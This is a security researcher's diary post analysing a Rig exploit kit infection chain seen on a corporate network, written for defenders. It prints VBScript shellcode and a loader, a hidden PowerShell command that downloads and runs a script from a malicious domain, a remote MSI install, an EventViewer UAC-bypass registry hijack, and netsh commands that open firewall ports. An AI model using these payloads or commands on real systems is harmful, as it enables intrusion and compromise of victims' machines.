Threat Level: green Handler on Duty: Didier Stevens

SANS ISC: InfoSec Handlers Diary Blog InfoSec Handlers Diary Blog


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

Rig Exploit Kit Delivering VBScript

Published: 2019-09-12
Last Updated: 2019-09-13 05:37:13 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

I detected the following suspicious traffic on a corporate network. It was based on multiples infection stages and looked interesting enough to publish a diary about it. This is also a good reminder that, just by surfing the web, you can spot malicious scripts that will try to infect your computer (Exploit Kits).

It started with a succession of HTTP redirects across multiple domains, all using the .xyz TLD. 

You can see that the servers are hosted behind Cloudflare. All domains are registered via the same registrar (NameCheap). If you visit manually the first URL, it redirects you to Google. I did not find what triggers the redirect: the language (es-ES), the user-agent? GeoIP? When I analyzed the websites visited by the victim, I'm not 100% confident about the website infected with the malicious URL (there was also a lack of HTTP Referer) but it looks to be openload[.]co, a file-sharing platform.

The script delivered by the last visited URL is written in VBScript. That’s why a first test is performed to ensure that it has been delivered to a proper target:

<script>
if (window.ActiveXObject || "ActiveXObject" in window){
...

The code is not complex to deobfuscate. It is just escaped:

Multiple infection stages are present. You can see a link to a malicious Flash file ("1.swf") (SHA256:498496827afc0aa5960d1cb1d60f7ae7699e0906e3a8c657b6864cff10772df0) with a VT score of 7/55[1]. This is a classic infection method for many exploit kits.

In the VBScript code, we have this very interesting function:

Function GetShellcode()
    TEMPCODE = Unescape("%u0000%u0000%u0000%u0000") & Unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%u1de0%u0a2a%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u736d%u7468%u2061%u7468%u7074%u2f3a%u6a2f%u6965%u6174%u6163%u6576%u6f2e%u6772%u682f%u6174%u682e%u6174%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc" & FNB(FNA("")))
    TEMPCODE = TEMPCODE & String(( & h80000 - LenB(TEMPCODE)) / 2, Unescape("%u4141"))
    GetShellcode = TEMPCOD
End Function

And how it is loaded and execute:

vb_adrr = LeakVBAddr()
vbs_base = GetBaseByDOSmodeSearch(GetUint32(vb_adrr))
msv_base = GetBaseFromImport(vbs_base, "msvcrt.dll")
krb_base = GetBaseFromImport(msv_base, "kernelbase.dll")
ntd_base = GetBaseFromImport(msv_base, "ntdll.dll")
VirtualProtectAddr = GetProcAddr(krb_base, "VirtualProtect")
NtContinueAddr = GetProcAddr(ntd_base, "NtContinue")
SetMemValue GetShellcode()
ShellcodeAddr = GetMemValue() + 8
SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)
VirtualProtectAddrFake = GetMemValue() + 69596
SetMemValue ExpandWithVirtualProtect(VirtualProtectAddrFake)
ReuseCLASSl = GetMemValue()
ExecuteShellcode()

Another technique is tried to infect the computer via a Powershell script:

function runmumaa()
    On Error Resume Next
    set shell = createobject("Shell.Application")
    command = "-nop -windowstyle hidden -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('hxxp://jeitacave[.]org/ps004.jpg')"
    shell.ShellExecute "powershell.exe", command, "", "", 0
end function

The file ‘pw004.jpg’ is another PowerShell script, decimal encoded:

& ( $SheLLID[1]+$shELlid[13]+'X') (" $( seT-iTEm  'VaRIABlE:ofS' '') " + [STrING]( ( 36, 77,117, 116 ,117, 97 ,108 ,69, 120, 99 , 108 ,117, 115 , 105 ,118, 101, 78 ,97 , 109, 101 ,32,61,32,39,71 , 108 ,111, 98 ,97 , 108,92,105,102 ,113 ,71, 112 ,84 , 122 , 100 ,84 ,122, 104 ,77, 74, 83 ,79, 122 , 39, 13 ,10 ,36, 77 , 117 ,116 ,117,97 , 108 , 83, 117 ,99 ,99, 101, 115, 115 ,102 ,117, 108 ,111 ,114 ,110,111,116,32, 61, 32 , 36 ,102,108 ,97, 115 ,101 ,13 , 10 , 36 , 77 , 117 , 116 , 101, 120 ,32, 61 , 32 , 78, 101 ,119 , 45 ,79 ,98 , 106 , 101, 99 , 116,32 ,83 , 121,115 , 116, 101,109,46, 84,104, 114, 101,97 , 100 , 105 , 110 
...

This script creates a MUTEX ('Global\ifqGpTzdTzhMJSOz’) and checks if it is being run with administrator privileges. If yes, it downloads and executes another payload (hxxp://jeitacave[.]org/4U22nOJHFdDmYcgCS.jpg). It’s a MSI file (SHA256:33d3568638a62c695823ef00bb0e4d5a717e86870457f6d7ab044eea4a455314) unknown on VT.

public static class msi {
    [DllImport("msi.dll", CharSet=CharSet.Auto)]
    public static extern int MsiInstallProduct(string packagePath, string commandLine);
    [DllImport("msi.dll")]
     public static extern int MsiSetInternalUI(int dwUILevel, IntPtr phWnd);
}
"@
[msi]::MsiSetInternalUI(2,0);
[msi]::MsiInstallProduct("hxxp://jeitacave[.]org/4U22nOJHFdDmYcgCS.jpg",”")

Otherwise, it tries to elevate its privileges via the classic EventViewer technique[2]:

[String]$program = "cmd /c reg add HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 00000001 /f&reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 00000001 /f"
New-Item "HKCU:\Software\Classes\mscfile\shell\open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Name "(default)" -Value $program -Force
Start-Process "C:\Windows\System32\Eventvwr.exe" -WindowStyle Hidden
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\mscfile" -Recurse -Force
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

Once executed, the MSI package is installed via msiexec.exe and performs interesting actions: It disables WindowsDefender and alters the local firewall by allowing many incoming connections to well-known ports:

"C:\Windows\System32\netsh.exe" ipsec static add policy name=qianye
"C:\Windows\System32\netsh.exe" ipsec static add filterlist name=Filter1
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=UDP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=UDP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=21 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=2222 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=3333 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=4444 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=5555 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=6666 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=7777 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=8443 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=8888 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=9000 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=9999 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=14443 protocol=TCP
"C:\Windows\System32\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=14444 protocol=TCP

The latest Powershell script also spawns a csc.exe[3] compiler: 

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\yboqji-z.cmdline"

I'm still checking all the scripts and techniques used. Based on my threat feeds, the domain jeitacave[.]org has already been associated with the Rig[4] exploit kit.

[1] https://www.virustotal.com/gui/file/498496827afc0aa5960d1cb1d60f7ae7699e0906e3a8c657b6864cff10772df0/detection
[2] https://pentestlab.blog/2017/05/02/uac-bypass-event-viewer/
[3] https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/command-line-building-with-csc-exe
[4] https://blog.malwarebytes.com/threat-analysis/2019/05/exploit-kits-spring-2019-review/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
Diary Archives